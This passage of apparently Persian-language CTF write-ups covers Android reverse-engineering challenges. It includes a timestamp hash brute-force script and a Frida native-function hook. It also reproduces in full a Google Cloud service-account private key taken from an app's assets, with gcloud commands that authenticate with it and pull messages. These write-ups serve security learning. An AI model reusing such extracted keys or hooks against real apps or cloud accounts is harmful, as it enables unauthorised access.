\u062a\u06cc\u06a9\u0647 \u0627\u0648\u0644 \u06a9\u062f \u06a9\u0647 \u0648\u0627\u0636\u062d\u0627 \u062f\u0631 \u062d\u0627\u0644 \u0633\u0627\u062e\u062a \u06cc\u06a9 \u0641\u0631\u0645\u062a shinji-1577865600 \u0647\u0633\u062a. \u0627\u0645\u0627 \u0639\u062f\u062f\u06cc \u06a9\u0647 \u062c\u0644\u0648\u0634 \u0642\u0631\u0627\u0631 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u062a\u0627\u06cc\u0645 \u0627\u0633\u062a\u0645\u067e \u0627\u0648\u0646 \u0644\u062d\u0638\u0647 \u0627\u0633 (\u0627\u06af\u0647 \u0646\u0645\u06cc\u062f\u0648\u0646\u06cc\u0646 \u062a\u0627\u06cc\u0645 \u0627\u0633\u062a\u0645\u067e \u0686\u06cc\u0647\u060c \u0627\u06cc\u0646\u062c\u0627 \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u062f)

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0645\u06cc\u0627\u062f \u0627\u0632\u0634 md5 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0639\u062f\u0634 \u0647\u06af\u0632 \u0627\u0648\u0646 \u0631\u0648 \u062f\u0631\u0645\u06cc\u0627\u0631\u0647 \u0648 \u0627\u0632 \u0647\u06af\u0632 \u0627\u0648\u0646 sha1 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0628\u0627 75b1d234851cdc94899eae8c97adce769e8ddb26 \u0645\u0642\u0627\u06cc\u0633\u0634 \u0645\u06cc\u06a9\u0646\u0647 \u0627\u06af\u0647 \u0628\u0631\u0627\u0628\u0631 \u0628\u0627\u0634\u0647\u060c \u062a\u0627\u06cc\u0645 \u0627\u0648\u0646 \u0644\u062d\u0638\u0647 \u0631\u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u0641\u0644\u06af \u0628\u0647\u0645\u0648\u0646 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647

\u06a9\u0627\u0631 \u0633\u0627\u062f\u0647 \u0648 \u0631\u0648\u0634\u0646\u0647 \u06cc\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u06cc\u062e\u0648\u0627\u06cc\u0645 \u06a9\u0647 \u0627\u0648\u0646 \u062a\u0627\u06cc\u0645 \u0631\u0648 \u0628\u0631\u0648\u062a \u0641\u0648\u0631\u0633 \u06a9\u0646\u0647 \u0648 \u0627\u06af\u0647 \u0647\u0634 \u0635\u062f\u0642 \u0645\u06cc\u06a9\u0631\u062f\u060c \u0639\u062f\u062f \u0631\u0648 \u0628\u0647 \u0645\u0627 \u0628\u0631\u06af\u0631\u062f\u0648\u0646\u0647

from hashlib import sha1, md5\n\nfor i in range(1577865600, 1735718400):\n    if sha1(md5(\"shinji-{}\".format(i).encode()).hexdigest().encode()).hexdigest().lower() == \"75b1d234851cdc94899eae8c97adce769e8ddb26\":\n        break\n\nprint(\"CTF{{{}}}\".format(i))\n

\u0628\u0639\u062f \u0627\u0632 \u0686\u0646\u062f \u062f\u0642\u06cc\u0642\u0647 \u0627\u062c\u0631\u0627\u060c \u0641\u0644\u06af \u0628\u0647 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0645\u06cc\u0627\u062f

FLAG

CTF{1615212000}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Reverse","Android"]},{"location":"reverse/writeups/BSidesSF/whishing-well/","title":"Whishing well","text":"

\u0627\u06af\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e \u0642\u0628\u0644\u06cc \u0631\u0648 \u062e\u0648\u0628 \u062e\u0648\u0646\u062f\u0647 \u0628\u0627\u0634\u06cc\u0646\u060c \u0645\u06cc\u062f\u0648\u0646\u06cc\u062f \u06a9\u0647 \u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631 \u062f\u0631 \u0645\u0648\u0627\u062c\u0647 \u0628\u0627 \u06cc\u0647 \u0641\u0627\u06cc\u0644 apk\u060c \u0628\u0627\u0632\u06a9\u0631\u062f\u0646\u0634 \u062a\u0648 JadX \u0647\u0633\u062a

\u067e\u0633 \u0633\u0631 \u0627\u06cc\u0646 \u0641\u0627\u06cc\u0644 \u0647\u0645 \u0647\u0645\u06cc\u0646 \u0628\u0644\u0627 \u0631\u0648 \u0645\u06cc\u0627\u0631\u06cc\u0645 =))

\u0645\u062c\u062f\u062f\u0627 \u0627\u0632 \u0631\u0648\u06cc AndroidManifest.xml \u067e\u06a9\u06cc\u062c\u200c\u0646\u06cc\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u0631\u06cc\u0645 \u062a\u0648 \u06a9\u0644\u0627\u0633\u0634 \u0633\u0631\u06a9 \u0628\u06a9\u0634\u06cc\u0645

MainActivity \u06a9\u0647 \u06a9\u0627\u0631 \u062e\u0627\u0635\u06cc \u0627\u0646\u062c\u0627\u0645 \u0646\u0645\u06cc\u062f\u0647 \u0648 \u0635\u0631\u0641\u0627 \u062a\u0627\u0628\u0639 publishWish \u0631\u0648 \u0628\u0627 \u06cc\u0647 \u0648\u0631\u0648\u062f\u06cc \u06a9\u0647 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u06af\u0631\u0641\u062a\u0647 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u0647

\u0648 \u0627\u0645\u0627 \u06a9\u0644\u0627\u0633 PubSub

\u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0627\u0632 \u0627\u0633\u0645\u0634 \u0647\u0645 \u067e\u06cc\u062f\u0627\u0633\u062a\u060c \u0648\u0638\u06cc\u0641\u0647 publish-subscribe \u0631\u0648 \u062f\u0627\u0631\u0647

\u062e\u06cc\u0644\u06cc \u062e\u0644\u0627\u0635\u0647 \u0628\u062e\u0648\u0627\u0645 \u0628\u06af\u0645\u060c PubSub \u06cc\u0647 \u062e\u062f\u0645\u062a\u06cc\u0647 \u0628\u0631\u0627\u06cc \u0627\u0646\u062a\u0642\u0627\u0644 \u06cc\u0647 \u067e\u06cc\u0627\u0645 \u0628\u06cc\u0646 \u062f\u06cc\u0648\u0627\u06cc\u0633 \u0647\u0627 \u0628\u0647 \u0648\u0627\u0633\u062a\u0647 \u06af\u0648\u06af\u0644 \u0647\u0633\u062a

\u0628\u0639\u0636\u06cc \u0627\u0632 \u0646\u0648\u062a\u06cc\u0641\u06cc\u06a9\u06cc\u0634\u0646 \u0647\u0627 \u0647\u0645 \u0627\u0632 \u0647\u0645\u06cc\u0646 \u0637\u0631\u06cc\u0642 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u0634\u0646 \u0648 \u0645\u0628\u0627\u062d\u062b\u06cc \u0645\u062b\u0644 \u062a\u0627\u067e\u06cc\u06a9 \u0628\u0646\u062f\u06cc \u0648 ... \u0647\u0645 \u062a\u0648\u0634\u0648\u0646 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647

\u0627\u06af\u0647 \u0645\u06cc\u062e\u0648\u0627\u06cc\u062f \u062f\u0631\u0628\u0627\u0631\u0647 pub/sub \u0628\u06cc\u0634\u062a\u0631 \u0628\u062e\u0648\u0646\u06cc\u062f\u060c \u0631\u0648 \u0627\u06cc\u0646 \u0644\u06cc\u0646\u06a9 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f

\u0628\u0631\u06cc\u0645 \u0633\u0631\u0627\u063a \u0627\u062f\u0627\u0645\u0647 \u0686\u0627\u0644\u0634

\u06af\u0648\u06af\u0644 \u0628\u0631\u0627\u06cc api call \u0632\u062f\u0646 \u0628\u0647 \u0633\u0631\u0648\u06cc\u0633\u0627\u0634 (\u0645\u0627\u0634\u0627\u0644\u0644\u0647 \u0686\u0642\u062f\u0631 \u0647\u0645 \u0632\u06cc\u0627\u062f\u0646 \u0648 \u062e\u062f\u0627 \u0628\u06cc\u0634\u062a\u0631\u0634 \u06a9\u0646\u0647) \u06cc\u0647 \u0627\u0628\u0632\u0627\u0631 cli \u0633\u0627\u062e\u062a\u0647 \u0628\u0647 \u0627\u0633\u0645 gcloud \u06a9\u0647 \u062e\u06cc\u0644\u06cc \u06a9\u0627\u0631 \u0645\u0627 \u0631\u0648 \u0631\u0627\u062d\u062a \u0645\u06cc\u06a9\u0646\u0647

\u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646 \u06a9\u0647 \u0628\u0631\u0645 \u0633\u0631\u0627\u063a\u0634 \u0628\u0647 \u0627\u06cc\u0646\u0645 \u0627\u0634\u0627\u0631\u0647 \u06a9\u0646\u0645 \u06a9\u0647 \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062a\u0648 \u0639\u06a9\u0633 \u0647\u0645 \u0645\u0634\u062e\u0635\u0647\u060c \u06cc\u0647 \u0641\u0627\u06cc\u0644 key.json \u0647\u0645 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647 \u06a9\u0647 \u0628\u0631\u0627 api call \u0647\u0627 \u0646\u06cc\u0627\u0632\u0634 \u062f\u0627\u0631\u06cc\u0645 \u0648 \u0645\u06cc\u0631\u06cc\u0645 \u0627\u0632 \u062a\u0648 \u0641\u0648\u0644\u062f\u0631 assets \u0628\u0631\u0634\u200c\u0645\u06cc\u062f\u0627\u0631\u06cc\u0645

{\n  \"type\": \"service_account\",\n  \"project_id\": \"bsides-sf-ctf-2023\",\n  \"private_key_id\": \"ca50571bf6de0a614a66ede75f325969cc425308\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDUjDLTA2b2iX1u\\n5wYUJRv145yYtFNrwM0gCWuFXUNt99d/aZTU965U8W0OFQF1P82pCGHcOWiSDJCk\\nyup+1bLG40n51jqBAk4UzUS2fQt9YvWK0QKjAJ3mOnDKs8BKcrUIAI1yEUgN3Ygj\\ns92HZd15XegN+PtOfDVr+Fds+xsf0vnVUjJRJTLglyOLc4a0GepprdxEnjxugTJY\\nHGCN0yB6I1Cc5tkNnwo4+DWxcsuNjm3zjmR9oa5+032CuV/uPED7KoeQ+4ZP6Ics\\nRmmIeOH+aZ2niIG1I6e+lzK0WIpCHI/1SLwEa65OTMdubVmUIgDAQKahV2jx3P6h\\nCuRbe9dzAgMBAAECggEAPVTjSY5+xH8yCbFySJfYtKBkTJAkTkCJMEhnlUkvLulI\\nbsSppLZ/wJUV0e1vyUSK9M6tZl3Ode5YQqUm+0hw2QE3FHej1Bw1Kb19qWb1zM2k\\natUa/Kwt5ARTDbrGrvTglhmKtzKTZyTYpuy87NgRC3d0gaup4KDozWoQ2CqxTgIN\\nXCi/6TmLX4jLUQAf0eTiiKrAJCZXiOVLxJ1nrzZIX9GujD1ihcKvhVpoRQOK4dMG\\n+TZirz7qqNXFrdV/Q31XdP2rSpOoKUUNSYYGDHicGSJxyt93igxawscIPSk3clBx\\nVC2gLTmAKYD0mS9icLOhcTYp0R76/9wy19iHeA1jMQKBgQDubxAklGVUH7SOKggL\\nsUXTDbZpC6HrcYuW+uPF/RJuocgnSd6bYIZUbbVRQfmltzVDvcGovZc4uKlCesMV\\nOVPTo9RJjXg4RH8iuPQk1lJsfAfjrOrfbrXL/9kdJrqn0n3cxF2uwoKU0k8dEw9r\\nBBiqOi/q1oxl5QRe5N/vzE5nCQKBgQDkNOnwlCi74X5iS1kxv3+8XnQdpHaus8RB\\nVIOwota2LPZRkjlpLrKmcUEOb3LeNSLiRVJp4f9OiI1C0fy/aP9Kv9dvu223fGqd\\n4W2JsBH0xmX27qU8dKVuRNETlnNGae+TTYXNlLwfw/dNOEP1kt1hjv3cyq/9gIuI\\nwxERcIgNmwKBgGeTHWsWf5H0l+VtwsL5hgBxo3ysTfFOCLpUUF+wWLJwWtceUrIi\\nUxgX9DzRMRZYqK29n4OioC9GoFg9pcLxfUWhlFVDPCcNMkEuIPhjlbiEhJTVh835\\ndMWiZXkxWsIOQRiGwL9qxXjKhw11Oyxcwi4oSqpz+tdEjgp+1/x+PsypAoGAO1sf\\n9fkzVxrhmoNqoavjd4VBwmwCipIrW6q1zf2sxxmOv8y+rgL9aJlQiIaoY++CMURC\\nmVO06iJOS7D+gnK25CRdzqv7b5wmxwXZTdTD9tybrMyJod3dIX84ulWJiikHrVKe\\nmMg03jZEXoth8b/PYQ6mLQVzHQaQRHQoPlb8rD0CgYBIVU23/bcYoS7kRo8utxDy\\nWraoJvBXUQ6g9jGN4yX4IuRIsHcsvEQHI+cW0m1lNMLycKq5lQYra6ZuZL4KVbyn\\nKcOOP6qownLnx0hPgbAHDTyD3kSSnvlaTWrnSAuoy/exrMrZ9LPVXVgTz/uwa/Zj\\n3I3W/S3b2d8WQomqCbs6Sg==\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"wishing-well-pubsub@bsides-sf-ctf-2023.iam.gserviceaccount.com\",\n  \"client_id\": \"118295537994451394759\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/wishing-well-pubsub%40bsides-sf-ctf-2023.iam.gserviceaccount.com\",\n  \"universe_domain\": \"googleapis.com\"\n}\n

\u0628\u0639\u062f \u0627\u0632 \u0646\u0635\u0628 \u0627\u0628\u0632\u0627\u0631 gcloud \u0645\u06cc\u0631\u06cc\u0645 \u06a9\u0647 \u0641\u0627\u06cc\u0644 key.json \u0631\u0648 \u0628\u0647\u0634 \u0628\u062f\u06cc\u0645

gcloud auth activate-service-account --key-file=key.json\n

\u0628\u0639\u062f \u0646\u0648\u0628\u062a \u0628\u0647 api call \u0647\u0627\u0645\u0648\u0646 \u0645\u06cc\u0631\u0633\u0647

\u0645\u0646 \u062e\u06cc\u0644\u06cc \u062f\u0648\u0633\u062a \u062f\u0627\u0634\u062a\u0645 \u06cc\u0647 \u062c\u0627\u06cc\u06cc \u0645\u06cc\u0628\u0648\u062f \u06a9\u0647 \u0645\u06cc\u062a\u0648\u0646\u0633\u062a\u0645 \u062a\u0645\u0627\u0645 scope \u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u06a9\u0631\u062f\u0646\u0634\u06cc\u0627\u0644 \u0628\u0647\u0634\u0648\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u062f\u0627\u0631\u0647 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0645 \u0627\u0645\u0627 \u062e\u0648 \u0646\u0634\u062f \u0648 \u062e\u0648\u062f \u0627\u06cc\u0646 \u06a9\u0647 (\u0628\u0641\u0647\u0645\u06cc \u0628\u0647 \u06a9\u062c\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u062f\u0627\u0631\u06cc) \u0647\u0645 \u06cc\u0647 \u062f\u0633\u062a\u0631\u0633\u06cc \u062e\u0627\u0635 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0627\u06a9\u0627\u0646\u062a \u062f\u0627\u062f\u0647 \u0646\u0634\u062f\u0647 \u0628\u0648\u062f =))))

\u067e\u0633 \u062f\u0631 \u0642\u062f\u0645 \u0627\u0648\u0644 \u06cc\u0647 \u067e\u06cc\u0627\u0645 \u067e\u0648\u0634 \u06a9\u0631\u062f\u06cc\u0645 \u0633\u0645\u062a PubSub \u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0647\u0645\u0647 \u0686\u06cc \u0627\u0648\u06a9\u06cc\u0647

$ gcloud pubsub topics publish wishing-well --message=flag --project=bsides-sf-ctf-2023\n\nmessageIds:\n- '11008165207535342'\n

\u0647\u0645\u0647 \u0686\u06cc \u062f\u0631\u0633\u062a\u0647

\u062d\u0627\u0644\u0627 \u0627\u0645\u0627 \u0641\u0644\u06af \u06a9\u062c\u0627\u0633\u062a\u060c \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647 \u0628\u0639\u062f\u060c \u0686\u0644\u0646\u062c \u062e\u06cc\u0644\u06cc guessy (\u062d\u062f\u0633\u06cc) \u0645\u06cc\u0634\u0647 \u0648 \u0634\u0645\u0627 \u0628\u0627\u06cc\u062f \u0627\u0632 \u063a\u06cc\u0628 \u0628\u0641\u0647\u0645\u06cc\u062f \u06a9\u0647 \u0628\u0627 \u0647\u0645\u06cc\u0646 \u06a9\u0631\u062f\u0646\u0634\u06cc\u0627\u0644\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u062f \u067e\u06cc\u0627\u0645 \u0647\u0627 \u0631\u0648 \u0628\u062e\u0648\u0646\u06cc\u062f \u0648 \u0628\u0627 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u060c \u0641\u0644\u06af \u0631\u0648 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u06cc\u062f

gcloud pubsub subscriptions pull wishing-well-sub --project=bsides-sf-ctf-2023\n

\u0645\u06cc\u062f\u0648\u0646\u0645 \u062e\u06cc\u0644\u06cc \u0633\u0648\u0627\u0644 \u062f\u0627\u0631\u06cc\u062f

\u0645\u0646\u0645 \u062e\u06cc\u0644\u06cc \u0633\u0648\u0627\u0644 \u062f\u0627\u0634\u062a\u0645 \u0627\u0645\u0627 \u06a9\u0633\u06cc \u0646\u0628\u0648\u062f \u0627\u0632\u0634 \u0628\u067e\u0631\u0633\u0645

\u0628\u0647 \u0647\u0631 \u062d\u0627\u0644 \u0628\u0639\u062f \u0627\u0632 \u0632\u062f\u0646 \u062f\u0633\u062a\u0648\u0631\u060c \u0641\u0644\u06af \u0631\u0648 \u062f\u0631 \u0686\u0646\u06cc\u0646 \u0642\u0627\u0644\u0628\u06cc \u0628\u0647 \u0645\u0627 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647

\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502                          DATA                          \u2502     MESSAGE_ID    \u2502 ORDERING_KEY \u2502 ATTRIBUTES \u2502 DELIVERY_ATTEMPT \u2502                                                                                                ACK_ID                                                                                                \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 {\"data\": {\"message\": \"CTF{W1sh3s-publish3d-gr4nt3d}\"}} \u2502 11104663640891080 \u2502              \u2502            \u2502                  \u2502 BhYsXUZIUTcZCGhRDk9eIz81IChFEgEIFAV8fXdbS3VdXn1oUQ0Zcn1gfTxeRQJTR1F6DVEfC2JcTkQHSf3MpvxXV0tbEgACQVV4XF0fDWBVXXUPUSWew4fWtuPUMBs-faOri9otLcz_opY1ZiI9XxJLLD5-KTBFQV5AEkwiBURJUytDCypYEU4EISE-MD5FU0RQ \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
FLAG

CTF{W1sh3s-publish3d-gr4nt3d}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BSidesSF","BSidesSF-2024","Reverse","Android"]},{"location":"reverse/writeups/BackdoorCTF/Sl4ydroid/","title":"Sl4ydroid","text":"

\u0628\u0627 \u0647\u0648\u06a9 \u06a9\u0631\u062f\u0646 \u062a\u0627\u0628\u0639\u06cc \u06a9\u0647 \u062a\u0648 \u0622\u062f\u0631\u0633 0x23820 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u0647\u060c \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0647 \u062a\u06cc\u06a9\u0647 \u0647\u0627\u06cc \u0641\u0644\u06af \u062f\u0633\u062a \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645

var awaitForCondition = function (callback) {\n  var int = setInterval(function () {\n    var addr = Module.findBaseAddress(\"libsl4ydroid.so\");\n    if (addr) {\n      console.log(\"SO Address found:\", addr);\n      clearInterval(int);\n      callback(addr);\n      return;\n    }\n  }, 0);\n};\nawaitForCondition(function (baseAddr) {\n  Interceptor.attach(baseAddr.add(0x23820), {\n    onEnter: function(args) {\n      console.log(args[0].readUtf8String())\n  },\n\n  });\n  Interceptor.flush();\n});\n
\u0628\u0627 \u0627\u0628\u0632\u0627\u0631 \u0641\u0631\u06cc\u062f\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0647\u0648\u06a9 \u0631\u0648 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645
frida -U -f com.backdoor.sl4ydroid -l Sl4ydroid.js\n

","tags":["BackdoorCTF","BackdoorCTF-2023","Reverse","Android","Frida","Hooking"]},{"location":"reverse/writeups/DUCTF/jmp_flag/","title":"\u0686\u0627\u0644\u0634 jmp flag","text":"

\u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0631\u0648 \u0627\u0648\u0644 \u06cc\u06a9\u0633\u0631\u06cc \u0628\u0631\u0631\u0633\u06cc \u0627\u0628\u062a\u062f\u0627\u06cc\u06cc \u0645\u062b\u0644 strings \u0648 file \u0648 ... \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u0646\u062a\u06cc\u062c\u0647 \u062e\u0627\u0635\u06cc \u0646\u062f\u0627\u0631\u0647. \u062f\u0631 \u0645\u0631\u062d\u0644\u0647 \u0628\u0639\u062f \u062e\u0631\u0648\u062c\u06cc decompiler \u0631\u0648 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0627\u0632 hex ray \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a 